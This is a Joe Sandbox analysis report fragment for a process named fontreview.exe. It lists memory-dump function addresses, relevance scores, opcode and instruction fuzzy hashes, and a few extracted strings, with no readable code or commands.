Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cbcf265215139dd17eb4884416ed5f23b5b74b0e89d06c9204223c8fa8cc7c
Instruction ID: 96289ae128b0135e43de72ff2ad7d94c5103f3cc0a5716b801ad21071c3a480d
Opcode Fuzzy Hash: c6cbcf265215139dd17eb4884416ed5f23b5b74b0e89d06c9204223c8fa8cc7c
Instruction Fuzzy Hash: 9501847184E6898FEB56FF38C8592B97FA0EF15300F0148FED809C74A2DA29A954C711

Function 00007FFB4B2672E9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ebeee76b628641783910e242b36f679f6fb767c8b6dcc858adc0302eecb4d3d
Instruction ID: c8a0e231c6d13539ceae00a659cd1293618a7c54218dcd03e133126b8a70771b
Opcode Fuzzy Hash: 3ebeee76b628641783910e242b36f679f6fb767c8b6dcc858adc0302eecb4d3d
Instruction Fuzzy Hash: 4A01B57094D68A8FE752FF38C9492A97FE0EF15300F0644F7D908C6072EA28A4548711

Function 00007FFB4B25A839 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523a9dabef57523844bf430f9269c3d0a08096fc598acfa7067e7cdce3d464dd
Instruction ID: ff88230df7082e4446d5a5666513476bd617e361ab39becbb1e17b119897233f
Opcode Fuzzy Hash: 523a9dabef57523844bf430f9269c3d0a08096fc598acfa7067e7cdce3d464dd
Instruction Fuzzy Hash: 9901847094E64A9FE752FF34C95D5E97FE4EF56300F0688F6D508C70B2E928A4458701

Function 00007FFB4B2505D8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178ccee0b4ad9366885dfd5dcb5cd982034a80073da2d2dfa379fca772518472
Instruction ID: 1d84621d5a45f90d4933968931af6198e3d63055d6928dbbc7b38feb6962e868
Opcode Fuzzy Hash: 178ccee0b4ad9366885dfd5dcb5cd982034a80073da2d2dfa379fca772518472
Instruction Fuzzy Hash: 020184B090950E8FDB8CFF34C555AB97BE1EF5830AF10847DD41AD21A0CA75A451CB40

Function 00007FFB4B251CED Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da61deca17890d3992fde004b198d87e5b0dfdbaf352e495dffbcaff2504b2d
Instruction ID: 8c6306a9dc2fe94875e9243a07f660bc65724930f95d473d6d6602e61820d32f
Opcode Fuzzy Hash: 0da61deca17890d3992fde004b198d87e5b0dfdbaf352e495dffbcaff2504b2d
Instruction Fuzzy Hash: A001D6B080E68D8FDB49BF24C8596B93FA0EF15306F4041BAD908C60A1DB75D460C740

Function 00007FFB4B252F39 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539e8dd3ad49b4f2d88af2902c2c88776f659d18205224d31cc73ed2da329fdc
Instruction ID: 94bcb433b78666e85ba4bd6aaf78fd5e3b13e09f13aec2526d015da995492b30
Opcode Fuzzy Hash: 539e8dd3ad49b4f2d88af2902c2c88776f659d18205224d31cc73ed2da329fdc
Instruction Fuzzy Hash: C20184B080D6498FEB52FB34C949AA97FE4EF45300F0584F6D509CB0F2EA28A454C701

Function 00007FFB4B250610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5df0a39a93b72135796826f7d7d8a6a185fb93f1765a357ee6a596ab57ea38
Instruction ID: b989a8d2cfb2ef1934c2c62b0419de44c21d4dd787286bdda144a62e810c3972
Opcode Fuzzy Hash: 4e5df0a39a93b72135796826f7d7d8a6a185fb93f1765a357ee6a596ab57ea38
Instruction Fuzzy Hash: 1D01467081990E8BEB59FF74C4486FA7AA4FF18305F5048BEE80AC21E1DE3AA550C610

Function 00007FFB4B250608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc2c4354903191bbf3e1dec0cf7ad2c762af526d678c8700a86eabd4d0dd877
Instruction ID: 8f22700595bb1859bdfc181fbf07bb12a959b942b23ee29253e87e675f0ff208
Opcode Fuzzy Hash: afc2c4354903191bbf3e1dec0cf7ad2c762af526d678c8700a86eabd4d0dd877
Instruction Fuzzy Hash: 3C01817081950E8BEF59FF74C4596B97BA4FF18305F5048BED40EC25E1DE39A191CA10

Function 00007FFB4B251140 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c85a7d0a34088dc94c70561c311fb45ba80a1fc14a57151f056a5c894409748
Instruction ID: 6ccee49addd8f71bc239dc8e778e8f0366a09300e51dbe5f777b9695ba674893
Opcode Fuzzy Hash: 6c85a7d0a34088dc94c70561c311fb45ba80a1fc14a57151f056a5c894409748
Instruction Fuzzy Hash: 87F0A4B0D1C61E8AFB99BE78D9587FABBE4EF55326F0081BAD419E20D1DF341524C640

Function 00007FFB4B2527B9 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2511be8991f259316ef7a69aba8bdf65947d77e21f0c8767841c4d5df303327
Instruction ID: a2f9eb3674f636fa0a26171c704e41c6d9cad1b89a3ece6aed288ac8ab2e555c
Opcode Fuzzy Hash: c2511be8991f259316ef7a69aba8bdf65947d77e21f0c8767841c4d5df303327
Instruction Fuzzy Hash: 66F0C27080E78D8FEB5AEF30C9595A93FA4EF06300F4545BBD809C60E2DA28A444C711

Function 00007FFB4B25282D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d812d65cc93f7367b20ecad0773955f3f44080211ba9e4f1b4c6a05ad90b0b88
Instruction ID: 930ebc71169afd33356296b3006db154e8b7561b04ec9c5e3743f9f51b99eb1d
Opcode Fuzzy Hash: d812d65cc93f7367b20ecad0773955f3f44080211ba9e4f1b4c6a05ad90b0b88
Instruction Fuzzy Hash: 82F090B181E64E8BEB59AF74C9592E93BA0FF15300F4049BAE909C51E1DB39A454C640

Function 00007FFB4B25AF5D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17012e253bbdf9836efe28f2167e6eff853fc9d6cb5b5e1cd7ff5014ff4a4547
Instruction ID: 9dd72cdeeab9dccf1f86a22116c2451b507377607435755c55d75dbe28b44e0a
Opcode Fuzzy Hash: 17012e253bbdf9836efe28f2167e6eff853fc9d6cb5b5e1cd7ff5014ff4a4547
Instruction Fuzzy Hash: 97F0C9B0909A199EEB90FF28C845BAAB7B1FB59300F1082A5D04DD3155DA3459828F40

Function 00007FFB4B25A8A5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b6c1dc73cc5682136d07b2edb888ec10f78ae45140278ec73911c8cd4ea683
Instruction ID: 429ce75066f98f3fad9cf5861e871431e3f7694bea1df644224e7ccad0542bd9
Opcode Fuzzy Hash: 01b6c1dc73cc5682136d07b2edb888ec10f78ae45140278ec73911c8cd4ea683
Instruction Fuzzy Hash: 33F08C7590E3824FD312AA34D9A64E93F70AF42310B0A89F3C149CA0B3EA18A8468711

Function 00007FFB4B25A8B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da51099ebea4605d03c776e8991c43e8bca79c3cb9ae8c9e56138e62272d4f9a
Instruction ID: fd79068050d99fb1a6a104c851cc7253bf1ee0ad7dd0cd74110fe384aad66764
Opcode Fuzzy Hash: da51099ebea4605d03c776e8991c43e8bca79c3cb9ae8c9e56138e62272d4f9a
Instruction Fuzzy Hash: 59E08C75D0E117AAE621BE38E5A64FA37A8AF41328B148A72D54D410A3ED18B04A0554

Function 00007FFB4B25E773 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eec56b0c9ddc27d170119e4f36c8106995aeff7bf02ddafa8b1c082d6493455
Instruction ID: 68e88bbb5f6b065058d42c90b87837f1655e9578e02549bc5678612df58eba38
Opcode Fuzzy Hash: 2eec56b0c9ddc27d170119e4f36c8106995aeff7bf02ddafa8b1c082d6493455
Instruction Fuzzy Hash: BBD09EB080862D8EDBA4EF14C8857AC7AB1FB14345F1040A9950DD2290CB745AC0CF04

Non-executed Functions

Function 00007FFB4B261A89 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366fec91ab1e8ac41c09b56f73585df02a9fc9cf3cca2ba70e0c2d7028e2f01c
Instruction ID: bfb0675197ae9666942b18a15294296ef508274d7b836254c4b27750edbf673b
Opcode Fuzzy Hash: 366fec91ab1e8ac41c09b56f73585df02a9fc9cf3cca2ba70e0c2d7028e2f01c
Instruction Fuzzy Hash: E611707090D65A8FDB56EF34C9542FA7BF0EF05301F0545AEE449D6092DA39A914C750

Function 00007FFB4B2652E1 Relevance: 10.2, Strings: 8, Instructions: 241COMMON

Download Yara Rule

Strings

Y/K, xrefs: 00007FFB4B265319
`Z/K, xrefs: 00007FFB4B265369
@Y/K, xrefs: 00007FFB4B265339
PZ/K, xrefs: 00007FFB4B265359
pZ/K, xrefs: 00007FFB4B265379
0Y/K, xrefs: 00007FFB4B265329
K, xrefs: 00007FFB4B2653F8
@Z/K, xrefs: 00007FFB4B265349

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID: Y/K$0Y/K$@Y/K$@Z/K$K$PZ/K$`Z/K$pZ/K
API String ID: 0-611732739
Opcode ID: 109ee15cd52ec850a87a5a0d71fa218c13c14a511deae944ca214a80d71cf51c
Instruction ID: 122e504cd529a1b8b5e6d043beac6588c8a7740bfe96ee2a88f684b57ff3494a
Opcode Fuzzy Hash: 109ee15cd52ec850a87a5a0d71fa218c13c14a511deae944ca214a80d71cf51c
Instruction Fuzzy Hash: 5561EBE390EADB4FF3127A7CFCE50E56F90EF9257874843FBD188490A79804685A4295

Analysis Process: fontreview.exePID: 3272, Parent PID: 660COMMON

Executed Functions

Function 00007FFB4B261718 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

2E/K, xrefs: 00007FFB4B261EF3

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID: 2E/K
API String ID: 0-4263837800
Opcode ID: 7b41d88d3566502224924545b1dbc6e59dd067fdb3d51ec884d59d61d227f98e
Instruction ID: d60435b1f9a0f87f0dfc9e093eeb6a96bafd9ceeb00b76603079e6a23d549410
Opcode Fuzzy Hash: 7b41d88d3566502224924545b1dbc6e59dd067fdb3d51ec884d59d61d227f98e
Instruction Fuzzy Hash: 1E91C371A0CA4A4FDB89EE2CC8555B97BE2FF98341B14417EE54DD3292CE34AC128781

Function 00007FFB4B27310B Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edd3f62e72fe54937789d4fe37968996dbc99a5ef812b17833e8c3d9b5cddc21
Instruction ID: e4427906afacff8b299ef6e68b26fd1acf0b098a18f1e95c4940c2ff78b608d6
Opcode Fuzzy Hash: edd3f62e72fe54937789d4fe37968996dbc99a5ef812b17833e8c3d9b5cddc21
Instruction Fuzzy Hash: D611B1A190D68A8FE756FB74C9592AA7FF0FF16300F0444F7D488C70A2DA28A8058751

Function 00007FFB4B26D709 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faf9094468ce45a9c930adc93b9e78162f8ec37efb92e8b71a542d1d3d343b63
Instruction ID: 948675948f4fb99ebaf256aedd4bf1b74825fa4ff200b15980a717c94f3f9b77
Opcode Fuzzy Hash: faf9094468ce45a9c930adc93b9e78162f8ec37efb92e8b71a542d1d3d343b63
Instruction Fuzzy Hash: 49E15CB1D1965E8FEB99EF68C4657B8BBA1FF58300F4441BED00DE3292CA386845DB41

Function 00007FFB4B273945 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772af6d6310f0f3723f97538ce68964deb7d3b7d0c62f89b782e2a39deb187fa
Instruction ID: e8f35204fb8f468ddd3a620ac7d1f811a6f33682d5d831fba6171ba675786295
Opcode Fuzzy Hash: 772af6d6310f0f3723f97538ce68964deb7d3b7d0c62f89b782e2a39deb187fa
Instruction Fuzzy Hash: 6BC1A5B0D1862D8EEBA5EF68C895BEDBBB1FB58300F1041B9D14DE3291DA346985CF05

Function 00007FFB4B2736AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a2769eb39f1f8d52060ea0211cdca62683f3fcfab074b7a53efa76de4a3892
Instruction ID: 6540f29b97f9294b28a7c762d50b1aadf8942e51f9beeb641894daa558a334f5
Opcode Fuzzy Hash: 39a2769eb39f1f8d52060ea0211cdca62683f3fcfab074b7a53efa76de4a3892
Instruction Fuzzy Hash: 3F816AB360D5269AE711BF7CF8A51EB3FA4EF8137170446B7D589C9053DD24604B8AA0

Function 00007FFB4B2736D3 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87784b03312f9b6e003036745d5b1eb1181344a5988a63fd093386c46d479ebb
Instruction ID: eade0808e393af8597ae00816cf8cb723382e0af4ec91b366a054e7e58892759
Opcode Fuzzy Hash: 87784b03312f9b6e003036745d5b1eb1181344a5988a63fd093386c46d479ebb
Instruction Fuzzy Hash: 907199B360D1265AE7167F7CF8A50EB3FA4EF8137170446BBD588C9053DE24604BCAA0

Function 00007FFB4B261D6D Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2cc5d5fbd0f501cae8b2ca4a5c967ea709f61297f4c007da708ac65dd246c1e
Instruction ID: 698ce968de921f220f143fe7c4d112a1138ab23b6bc8854157c2720b076868ee
Opcode Fuzzy Hash: c2cc5d5fbd0f501cae8b2ca4a5c967ea709f61297f4c007da708ac65dd246c1e
Instruction Fuzzy Hash: BA51C171A1CB894FDB49EE2CC8545BA7BD2FF98301B14857ED54AD7291CE34EC128781

Function 00007FFB4B2631B5 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb9980e9f4d2c8991f5ff9fb518f922bcf325af31f8efc684311dca1b455631
Instruction ID: a36180bb196254bb871ae5cfa9cb53d4c1f33fb9497a4ac44fed6eb3851018b3
Opcode Fuzzy Hash: ccb9980e9f4d2c8991f5ff9fb518f922bcf325af31f8efc684311dca1b455631
Instruction Fuzzy Hash: 625116B0D0861D8FEB54FFA8C5946EEBBF1EF58300F50807AD509E72A2DA386845CB50

Function 00007FFB4B2737D3 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f80ceca524ff2185afad544cb9cd5c09572355d3e793dfa9b6a7067dcb0aca
Instruction ID: 6473b804d820ab82fa7402d26db4131c70f04341f3a880e63847fbc0535a2c97
Opcode Fuzzy Hash: 03f80ceca524ff2185afad544cb9cd5c09572355d3e793dfa9b6a7067dcb0aca
Instruction Fuzzy Hash: F1417BA770D16A5AE7247F7DF8A45EB7F94EF813B1B0441B7D648C9053DA20104BCBA0

Function 00007FFB4B262185 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ba272efb1f34ac98671f9d9c66d8adcbf566f1e3ba915fc80dd18cad1849fd
Instruction ID: 1110fc4ebb08ebe53b171360084989c799be7bc6bb51ef7fd70137fda66b08ec
Opcode Fuzzy Hash: b2ba272efb1f34ac98671f9d9c66d8adcbf566f1e3ba915fc80dd18cad1849fd
Instruction Fuzzy Hash: 3A411671A0D64A8FEB46FF3CC8552B97FE0EF86350B0581FBD448C71A2DD28A8418351

Function 00007FFB4B26374E Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a79c50cb5f1f676c94cceec2991eaa2e57ca75f82f6a79753b5048c60d60bc3
Instruction ID: 15beee1d6ff7016f1824df7afec41e4edfded7c43d5922aa1ae97dd365a08d38
Opcode Fuzzy Hash: 0a79c50cb5f1f676c94cceec2991eaa2e57ca75f82f6a79753b5048c60d60bc3
Instruction Fuzzy Hash: A14192B191DA0A8EE749DF6CD8543A97FE1FB85354F9042BAC00DD76DACBB814068741

Function 00007FFB4B27249D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9614d3e1e1e253e6430a57a041830995f3e51a38ae2d04ec7d70390638344807
Instruction ID: b75f3fd9f4f18cadb3251398d86a5141454d5bd910c4f84cf21111f5c345822b
Opcode Fuzzy Hash: 9614d3e1e1e253e6430a57a041830995f3e51a38ae2d04ec7d70390638344807
Instruction Fuzzy Hash: 9A412C70D1861E8FEB54FFA8D8656EDBBB1FF58300F104179D409E3292CE7468458B91

Function 00007FFB4B26BF78 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8e0af930b7e1d38a2d59426a75cd3eeeab13ecae266083bc64afee83e37623d
Instruction ID: 1962b05b48768349516fb8abe565c34bf97261947516ba2a325b5f7e137c81a2
Opcode Fuzzy Hash: c8e0af930b7e1d38a2d59426a75cd3eeeab13ecae266083bc64afee83e37623d
Instruction Fuzzy Hash: 7C31D9B1E1C91D9EEB94FFACD995AACBBB2FF59300F505139D10DD3292DE2468428B40

Function 00007FFB4B26E812 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e259ed54de56b5e159ecbfc5a7137b22de4c89ccad3f0a9e2d0a42289bf6a7
Instruction ID: 4ceb4ed3d0507076bddf18ebdec1d0b11f39cca4f037048efd46fb425c4dac0e
Opcode Fuzzy Hash: 19e259ed54de56b5e159ecbfc5a7137b22de4c89ccad3f0a9e2d0a42289bf6a7
Instruction Fuzzy Hash: 3131FAB1D289198FDBA8EF28CC957A9B7B1FB58301F5041E9D44DE3292DE346D828F41

Function 00007FFB4B26BFF0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad346d3b264bf127a0132122df7673daa1d74d17a34a783aec928574ec36dcb1
Instruction ID: 920d2b00814863069479479c8b07dd6550b8245869a3115fa4b131de7d1db7c7
Opcode Fuzzy Hash: ad346d3b264bf127a0132122df7673daa1d74d17a34a783aec928574ec36dcb1
Instruction Fuzzy Hash: 4B21D9B1E1C91D8FEB94FFACD8956ACBBB2FF59300F50512AD10DD3296DE2468418B40

Function 00007FFB4B2762CB Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B271000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b271000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f7b6f7c167623b698000ad4fc9fd4c0b8e5c1fcc836f834a05d8a262e5bec7
Instruction ID: af134ea6f58fdc0b052869454dced30378a5e6c98447d380e33c1388af3ba2ca
Opcode Fuzzy Hash: 44f7b6f7c167623b698000ad4fc9fd4c0b8e5c1fcc836f834a05d8a262e5bec7
Instruction Fuzzy Hash: 5C31B6B0D0891A8FDBA9FF54C5956ECBBB1FB58301F1040BAD54DE6290CE345A81DF04

Function 00007FFB4B26AC7D Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B26A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B26A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b26a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed1486595c31d3eaee869b3bd2f6cc8d5ece1e3ee3f870d2aaa2bf190de21af0
Instruction ID: 069c79ae775126d0ec35e2ff966d1b48fe8b09edc7c1744a19011d83db92cb93
Opcode Fuzzy Hash: ed1486595c31d3eaee869b3bd2f6cc8d5ece1e3ee3f870d2aaa2bf190de21af0
Instruction Fuzzy Hash: 4A219CB1A0D94AAFF742BB7CC9592E97FE0FF56310F0485BAD559C20A2FE2568168240

Function 00007FFB4B260EFD Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2135963951.00007FFB4B260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffb4b260000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d707e9a67345b24a9fe1284c2d56a85d050e5d94763a9a28d0748249bc2ae81e
Instruction ID: dd86ad36ee23d10c87f420e7db325a06a840f086bd0f06cb404068b164bc9c35
Opcode Fuzzy Hash: d707e9a67345b24a9fe1284c2d56a85d050e5d94763a9a28d0748249bc2ae81e
Instruction Fuzzy Hash: C0312FB1D0C61A8AEB54FFB8C585BFEBBB5EF44300F108179D109A7295DE38A945DB80

Function 00007FFB4B26084D Relevance: .1, Instructions: 73COMMON

Download Yara Rule

